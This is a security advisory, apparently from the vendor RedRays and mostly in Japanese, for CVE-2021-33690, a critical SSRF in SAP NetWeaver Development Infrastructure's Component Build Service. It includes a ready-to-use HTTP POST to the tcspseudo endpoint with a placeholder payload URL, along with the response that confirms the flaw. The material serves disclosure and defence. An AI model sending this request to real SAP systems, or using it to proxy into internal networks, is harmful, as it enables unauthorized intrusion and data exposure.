[CVE-2021-33690] SAP NetWeaver Development Infrastructure におけるサーバーサイド・リクエスト・フォージェリ (SSRF) の脆弱性
Application: SAP NetWeaver AS Java
Versions Affected: SAP NetWeaver Development Infrastructure Component Build Service versions – 7.11, 7.20, 7.30, 7.31, 7.40, 7.50
Vendor URL: https://sap.com/
Bug: SSRF
Date of Public Advisory: June 1, 2023
Reference: [https://nvd.nist.gov/vuln/detail/CVE-2021-33690]
SAP Note: 3072955
SAP Approved Fixes: True
Status: analyzed and published
アドバイザリ情報 タイトル: [CVE-2021-33690] SAP NetWeaver Development Infrastructure におけるサーバーサイド・リクエスト・フォージェリ (SSRF) の脆弱性 リスク: 重大 アドバイザリ URL: https://redrays.io/cve-2021-33690-server-side-request-forgery-vulnerability/ 公開日: 2023年6月1日
脆弱性情報 リモートからの悪用可能性: あり ローカルでの悪用可能性: なし
CVSS 情報 CVSS v3.1 ベーススコア: 9.9 / 10 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
脆弱性の説明 「SAP NetWeaver Development Infrastructure Component Build Service」の複数バージョン (7.11、7.20、7.30、7.31、7.40、7.50) において、サーバーサイド・リクエスト・フォージェリ (SSRF) として知られる脆弱性が確認されました。この SAP NetWeaver Development Infrastructure Component Build Service 内の脆弱性により、サーバーにアクセスできる攻撃者は、特別に細工されたクエリを介してプロキシ攻撃を実行できます。このような攻撃の結果、機密性の高いサーバーデータが完全に侵害され、その可用性に影響が及ぶ可能性があります。この脆弱性の深刻度は、SAP NetWeaver Development Infrastructure (NWDI) がイントラネット上で運用されているか、インターネット上で運用されているかによって異なることに注意することが重要です。CVSS スコアは、オンラインで運用されるという最悪のケースを想定して算出されています。
技術的説明
サーバーが SSRF に対して脆弱かどうかを確認するには、次のリクエストを送信します。
POST /tc.CBS.Appl/tcspseudo HTTP/1.1
Host: redrayssap:50000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
CBS=http://%YOUR_PAYLOAD%&USER=1&PWD=1&REQ_CONFIRM_DELAY=2000&ACTION=CONFIGURE
次のレスポンスを受信した場合、脆弱性が存在することを示します。
<?xml version="1.0" encoding="UTF-8"?><Cause>Could not connect to the CBS.</Cause>
RedRays について RedRays は、内部の不正行為や外部のサイバー脅威から ERP システムを保護する大手サイバーセキュリティ企業です。当社は、SAP、Oracle、Microsoft などの主要な ERP システムに依存する大企業やマネージドサービスプロバイダーに対し、堅牢なセキュリティソリューションを提供しています。高度なツールと戦略を活用し、世界中の大規模な SAP 環境におけるセキュリティを積極的に監視・管理しています。
当社の主な目標は、技術面とビジネス面の両方からセキュリティギャップを埋め、お客様のシームレスな運用を確保し、貴重なデータを保護することです。RedRays は、最高水準のセキュリティ基準を維持しつつ、並外れた顧客サービスとサポートを提供することに努めています。
RedRays R&D について RedRays の成功の基盤は、重要な企業アプリケーションの脆弱性の調査・分析に特化した研究開発 (R&D) 部門にあります。当社の R&D 活動は、SAP、Oracle、Microsoft Dynamics、IBM などの大手ソフトウェア企業から認められ、評価されています。この研究への取り組みにより、新たな脅威を予測し、お客様のニーズに応えるオーダーメイドのセキュリティソリューションを生み出すことが可能となっています。
当社のチームは、脆弱性評価、ペネトレーションテスト、インシデント管理、脅威インテリジェンスなど、さまざまなセキュリティ領域にわたる多様なスキルセットを持つ熟練の専門家で構成されています。当社は、厳格な調査を実施し、変化し続ける脅威から SAP システムを強化するための最先端のソリューションを提供することに尽力しています。
ご質問や詳細については、お気軽に下記までお問い合わせください: